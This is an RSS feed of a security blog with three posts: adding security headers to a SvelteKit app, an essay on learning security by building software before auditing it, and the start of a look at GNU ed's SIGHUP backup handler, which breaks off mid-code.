<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>GitHub on EdOverflow</title><link>https://edoverflow.com/tags/github/</link><description>Recent content in GitHub on EdOverflow</description><language>en-gb</language><managingEditor>contact@edoverflow.com (EdOverflow)</managingEditor><webMaster>contact@edoverflow.com (EdOverflow)</webMaster><lastBuildDate>Sun, 15 Jul 2018 00:00:00 +0000</lastBuildDate><atom:link href="https://edoverflow.com/tags/github/index.xml" rel="self" type="application/rss+xml"/><item><title>Adding security headers to your SvelteKit application</title><link>https://edoverflow.com/2023/sveltekit-security-headers/</link><pubDate>Fri, 27 Jan 2023 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2023/sveltekit-security-headers/</guid><description>&lt;p&gt;Yeah, you heard me right: &lt;a href="https://kit.svelte.dev/"&gt;SvelteKit&lt;/a&gt;. The past few weeks I have found myself increasingly developing full-stack applications using SvelteKit. I have my reservations about the framework but that is not what this blog post is about.&lt;/p&gt;
&lt;p&gt;In line with the whole &lt;em&gt;shift-left&lt;/em&gt; philosophy, I wanted to make it easy to add security headers across my whole application. In similar fashion to how &lt;a href="https://helmetjs.github.io/"&gt;Helmet&lt;/a&gt; plugs into Express apps, I found that SvelteKit could do with something similar using a &lt;a href="https://kit.svelte.dev/docs/types#public-types-handle"&gt;handle hook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The way to configure headers across all response objects is to create a &lt;code&gt;src/hooks.server.ts&lt;/code&gt;. The response consists of resolving the event which then allows setting response headers.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;Handle&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;@sveltejs/kit&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;securityHeaders&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Cross-Origin-Embedder-Policy&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;require-corp&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Cross-Origin-Opener-Policy&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;same-origin&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// [...]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;X-XSS-Protection&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handle&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Handle&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; ({ &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; }) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Object.&lt;span style="color:#a6e22e"&gt;entries&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;securityHeaders&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;forEach&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ([&lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;]) =&amp;gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, with all the Helmet defaults in place, the response headers can be seen in the HTTP response.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ curl -I http://localhost:5173/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HTTP/1.1 200 OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Access-Control-Allow-Origin: *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;content-length: 879
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;content-security-policy: script-src &amp;#39;self&amp;#39; &amp;#39;nonce-Y70QFNhAVmer2wdobT8YoQ==&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;content-type: text/html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cross-origin-embedder-policy: require-corp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cross-origin-opener-policy: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cross-origin-resource-policy: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;etag: &amp;#34;1maoxiy&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;origin-agent-cluster: ?1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;referrer-policy: no-referrer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strict-transport-security: max-age=15552000; includeSubDomains
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-content-type-options: nosniff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-dns-prefetch-control: off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-download-options: noopen
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-frame-options: SAMEORIGIN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-permitted-cross-domain-policies: none
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-sveltekit-page: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x-xss-protection: 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Date: Wed, 25 Jan 2023 11:58:03 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Keep-Alive: timeout=5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A quick scan using &lt;a href="https://github.com/santoru/shcheck"&gt;&lt;code&gt;shcheck&lt;/code&gt;&lt;/a&gt; to verify if this solution works.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ python shcheck.py http://localhost:5173/ | grep -i &amp;#34;Missing&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Missing security header: Permissions-Policy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Oh, come on!&lt;/p&gt;</description></item><item><title>Learn to build it, then break it</title><link>https://edoverflow.com/2023/learn-to-build-it-then-break-it/</link><pubDate>Fri, 20 Jan 2023 16:06:10 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2023/learn-to-build-it-then-break-it/</guid><description>&lt;p&gt;A good friend of mine and successful bug bounty hunter, Corben Leo,
discussed in a blog post how he spotted an Express app from an error
message alone&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;. He used his understanding of Express application code
to uncover a critical flaw.&lt;/p&gt;
&lt;p&gt;I often use the expression, &lt;strong&gt;&amp;quot;&lt;em&gt;Learn to build it, then break it&lt;/em&gt;&amp;quot;&lt;/strong&gt;.
The philosophy is simple: learn security by building projects, reading
official documentation and codebases, and then attempting to find
security flaws in your work.&lt;/p&gt;
&lt;p&gt;For me, this approach has led to more application-specific findings. I
focus on the technology stack and application functionality; rather than
rely on general-purpose checklists.&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t get me wrong: there is nothing wrong with the OWASP Top 10. I have
just found that, when it comes to auditing web applications, my most
impactful—and arguably interesting—findings are specific to the
application itself. In the bug bounty context, for instance, generic and
well-documented attack vectors can produce critical flaws but are
uncovered reasonably quickly upon programme launch. This will often
result in numerous duplicate reports and frustrated reporters.&lt;/p&gt;
&lt;blockquote&gt;
&lt;img src="https://pbs.twimg.com/profile_images/72718374/4011201393753705902.JPG-1_400x400.jpeg" alt="Profile picture" class="profile" /&gt;
&lt;p&gt;&amp;ldquo;We applaud the researcher [Ed] for thinking about our product specifically,
not just applying a generic checklist.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— &lt;a href="https://twitter.com/maxtaco"&gt;Max Krohn&lt;/a&gt;, &lt;em&gt;Co-founder of Keybase, OkCupid, SparkNotes, TheSpark&lt;/em&gt; on a
series of security flaws I uncovered in Keybase&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why did I feel the need to share this? Something I have been trying to
encourage others to try out—especially if they are facing an onslaught
of duplicate reports—is taking time to build systems and understanding
how things are designed. In a black-box setting with this know-how, I
start to recognise patterns. &lt;code&gt;ng-*&lt;/code&gt; attribute on some random HTML tag?
Oh, this application is using Angular on the frontend! Angular has a
very opinionated way of structuring front-end code&lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. This is a great
opportunity to exploit this knowledge and uncover further components.&lt;/p&gt;
&lt;p&gt;As evidenced by my reference to Corben&amp;rsquo;s blog, I am not alone in this
approach. Jack Whitton talked about how working as a Security Engineer
at Meta after having been an active member in the bug bounty community
gave them this pattern recognition too&lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;So, why not give it a try? Pick a random framework or technology you
have regularly encountered.&lt;/p&gt;
&lt;p&gt;Learn to build it, then break it.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://corben.io/blog/a-fun-ssrf-through-a-headless-browser"&gt;https://corben.io/blog/a-fun-ssrf-through-a-headless-browser&lt;/a&gt;&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://angular.io/guide/file-structure"&gt;https://angular.io/guide/file-structure&lt;/a&gt;&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;a href="https://whitton.io/articles/from-researcher-to-engineer-and-beyond/"&gt;https://whitton.io/articles/from-researcher-to-engineer-and-beyond/&lt;/a&gt;&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>GNU ed Ate My Homework</title><link>https://edoverflow.com/2022/gnu-ed-ate-my-homework/</link><pubDate>Sat, 02 Apr 2022 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2022/gnu-ed-ate-my-homework/</guid><description>&lt;p&gt;If you have ever ventured into the archives of old UNIX books and mailing lists, you will have undoubtedly come across the legend of &lt;code&gt;ed&lt;/code&gt;. &lt;code&gt;ed&lt;/code&gt; (pronounced /iː diː/) is a text editor just like &lt;code&gt;vim&lt;/code&gt; and &lt;code&gt;emacs&lt;/code&gt;. However, contrary to its counterparts, &lt;code&gt;ed&lt;/code&gt; comes with what an interface that could be best summarised as…&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ed
q
?
q
?
q
?
qqqqqqqqqqqqqqqqqq
?
q
?
q
?
q
$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In spite of all of this, legend has it: &amp;ldquo;&lt;a href="https://www.gnu.org/fun/jokes/ed-msg.en.html"&gt;ed is the standard text editor&lt;/a&gt;&amp;rdquo;. So much so that most Linux distributions set &lt;code&gt;/bin/ed&lt;/code&gt; to a &lt;code&gt;Priority&lt;/code&gt; of &lt;code&gt;-100&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo update-alternatives --config editor
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;There are 5 choices for the alternative editor (providing ∕usr∕bin∕editor).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Selection Path Priority Status
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;------------------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* 0 ∕usr∕bin∕vim.gtk3 50 auto mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 1 ∕bin∕ed -100 manual mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 2 ∕bin∕nano 40 manual mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 3 ∕usr∕bin∕code 0 manual mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 4 ∕usr∕bin∕vim.gtk3 50 manual mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 5 ∕usr∕bin∕vim.tiny 15 manual mode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Jokes aside, despite being a frequent &lt;a href="https://micro-editor.github.io/"&gt;&lt;code&gt;micro&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://code.visualstudio.com/"&gt;Visual Studio Code&lt;/a&gt; user, I find myself toying around with &lt;code&gt;ed&lt;/code&gt; and its source code at times. Most notably the &lt;a href="https://www.gnu.org/software/ed/"&gt;GNU implementation of &lt;code&gt;ed&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the story of a &lt;del&gt;bug&lt;/del&gt; feature in GNU &lt;code&gt;ed&lt;/code&gt; I stumbled across last year while reviewing the source code which could result in one losing their work.&lt;/p&gt;
&lt;h2 id="a-brief-history-in-time"&gt;A brief history in time&lt;/h2&gt;
&lt;p&gt;To understand the significance of this design flaw, we must briefly venture back to the origin of the GNU &lt;code&gt;ed&lt;/code&gt; editor. In 1976, Brian Kernighan and P.J. Plauger published a book titled &lt;a href="https://www.goodreads.com/book/show/515602.Software_Tools_in_Pascal"&gt;&amp;quot;&lt;em&gt;Software Tools in Pascal&lt;/em&gt;&amp;quot;&lt;/a&gt; which explored writing good code using the &lt;a href="https://en.wikipedia.org/wiki/Pascal_(programming_language)"&gt;Pascal programming language&lt;/a&gt;. This book contains brilliant passages such as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;In real life, by the way, you would certainly name the routine &lt;code&gt;sort&lt;/code&gt;, not &lt;code&gt;bubble&lt;/code&gt;, so you could change the algorithm without upsetting users.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— Brian Kernighan &amp;amp; P.J. Plauger, &lt;a href="https://www.goodreads.com/book/show/515602.Software_Tools_in_Pascal"&gt;Software Tools in Pascal&lt;/a&gt; in reference to &amp;ldquo;&lt;a href="https://en.wikipedia.org/wiki/Bubble_sort"&gt;Bubble Sort&lt;/a&gt;&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why is this book of any significance? As stated in &lt;a href="https://www.gnu.org/software/ed/manual/ed_manual.html"&gt;GNU&amp;rsquo;s &lt;code&gt;info&lt;/code&gt; page&lt;/a&gt; on &lt;code&gt;ed&lt;/code&gt;, the GNU implementation of &lt;code&gt;ed&lt;/code&gt; drew inspiration from Chapter 6, &amp;ldquo;&lt;em&gt;Editing&lt;/em&gt;&amp;rdquo;. The first GNU implementation was designed according to Kernighan and Plauger&amp;rsquo;s specification.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ed-0.1 ❯ cat THANKS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[...]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GNU ed originated with the editor algorithm from Brian W. Kernighan &amp;amp; P.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;J. Plauger&amp;#39;s wonderful book &amp;#34;Software Tools in Pascal,&amp;#34; Addison-Wesley,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1981. [...]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While reading the book, this passage in particular stood out to me (emphasis mine):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Error recovery is a second major influence on the design of the editor. [&amp;hellip;] &lt;code&gt;edit&lt;/code&gt; maintains precious files, so it must be cautious. [&amp;hellip;] &lt;strong&gt;It must recover gracefully, for otherwise some trifling mistake could cause the loss of valuable information.&lt;/strong&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— Brian Kernighan &amp;amp; P.J. Plauger, &lt;a href="https://www.goodreads.com/book/show/515602.Software_Tools_in_Pascal"&gt;Software Tools in Pascal&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Keep this quote in mind. We will come back to this passage in just a bit.&lt;/p&gt;
&lt;h2 id="straight-to-the-source"&gt;Straight to the source&lt;/h2&gt;
&lt;p&gt;To examine how GNU &lt;code&gt;ed&lt;/code&gt; works under the hood, grab a copy of the &lt;a href="https://mirrors.sarata.com/gnu/ed/"&gt;latest GNU release&lt;/a&gt; (version &lt;code&gt;1.18&lt;/code&gt; as of writing this blog post). The source code is easy to navigate with only 8 C files.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ find . -name &amp;#34;*.c&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./buffer.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./io.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./carg_parser.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./main_loop.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./main.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./signal.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./global.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./regex.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;GNU &lt;code&gt;ed&lt;/code&gt; has a &lt;a href="https://en.wikipedia.org/wiki/SIGHUP"&gt;SIGHUP&lt;/a&gt; handler in &lt;code&gt;signal.c&lt;/code&gt; which generates a backup file whenever the &lt;code&gt;ed&lt;/code&gt; process encounters a SIGHUP signal. This ensures one does not lose their work if the &lt;code&gt;ed&lt;/code&gt; process crashes. This is similar to &lt;code&gt;vim&lt;/code&gt; swap files. &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;I have taken the liberty of including my own comments in the &lt;code&gt;sighup_handler()&lt;/code&gt; function below to help guide the reader.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sighup_handler&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; signum)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// [...]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Listen for SIGHUP signal
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (mutex)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sighup_pending &lt;span style="color:#f92672"&gt;=&lt;/span&gt; true;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sighup_pending &lt;span style="color:#f92672"&gt;=&lt;/span&gt; false;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Hardcode backup filename
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; hb[] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ed.hup&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// If there are unsaved changes, write current buffer to ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// in current working directory
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;last_addr&lt;/span&gt;() &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;modified&lt;/span&gt;() &lt;span style="color:#f92672"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;write_file&lt;/span&gt;(hb, &lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;last_addr&lt;/span&gt;()) &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// Exit here if write was successful
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Otherwise continue executing code and attempt to write to home directory
